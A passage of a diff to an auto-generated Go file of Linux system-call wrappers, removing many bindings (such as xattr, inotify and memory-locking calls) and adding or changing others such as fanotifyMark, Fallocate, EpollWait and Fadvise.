-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask), uintptr(mask>>32), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off), uintptr(off>>32), uintptr(len), uintptr(len>>32))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,118 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Dup2(oldfd int, newfd int) (err error) {
-- _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ _, _, e1 := Syscall9(SYS_FADVISE64, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), uintptr(length), uintptr(length>>32), uintptr(advice), 0, 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1529,7 +114,7 @@ func Ftruncate(fd int, length int64) (err error) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getegid() (egid int) {
-- r0, _, _ := RawSyscall(SYS_GETEGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEGID, 0, 0, 0)
- egid = int(r0)
- return
- }
-@@ -1537,7 +122,7 @@ func Getegid() (egid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Geteuid() (euid int) {
-- r0, _, _ := RawSyscall(SYS_GETEUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETEUID, 0, 0, 0)
- euid = int(r0)
- return
- }
-@@ -1545,7 +130,7 @@ func Geteuid() (euid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getgid() (gid int) {
-- r0, _, _ := RawSyscall(SYS_GETGID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETGID, 0, 0, 0)
- gid = int(r0)
- return
- }
-@@ -1553,7 +138,7 @@ func Getgid() (gid int) {
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func Getuid() (uid int) {
-- r0, _, _ := RawSyscall(SYS_GETUID, 0, 0, 0)
-+ r0, _ := RawSyscallNoError(SYS_GETUID, 0, 0, 0)
- uid = int(r0)
- return
- }
-@@ -1619,6 +204,26 @@ func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(oldpath)
-+ if err != nil {
-+ return
-+ }
-+ var _p1 *byte
-+ _p1, err = BytePtrFromString(newpath)
-+ if err != nil {
-+ return
-+ }
-+ _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-+ if e1 != 0 {
-+ err = errnoErr(e1)
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
- r0, _, e1 := Syscall6(SYS__NEWSELECT, uintptr(nfd), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0)
- n = int(r0)
-@@ -1641,8 +246,9 @@ func sendfile(outfd int, infd int, offset *int64, count int) (written int, err e
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsgid(gid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+func setfsgid(gid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSGID, uintptr(gid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1651,8 +257,9 @@ func Setfsgid(gid int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Setfsuid(uid int) (err error) {
-- _, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+func setfsuid(uid int) (prev int, err error) {
-+ r0, _, e1 := Syscall(SYS_SETFSUID, uintptr(uid), 0, 0)
-+ prev = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1711,9 +318,9 @@ func Shutdown(fd int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-- r0, r1, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-- n = int64(int64(r1)<<32 | int64(r0))
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int, err error) {
-+ r0, _, e1 := Syscall6(SYS_SPLICE, uintptr(rfd), uintptr(unsafe.Pointer(roff)), uintptr(wfd), uintptr(unsafe.Pointer(woff)), uintptr(len), uintptr(flags))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1747,6 +354,16 @@ func Truncate(path string, length int64) (err error) {
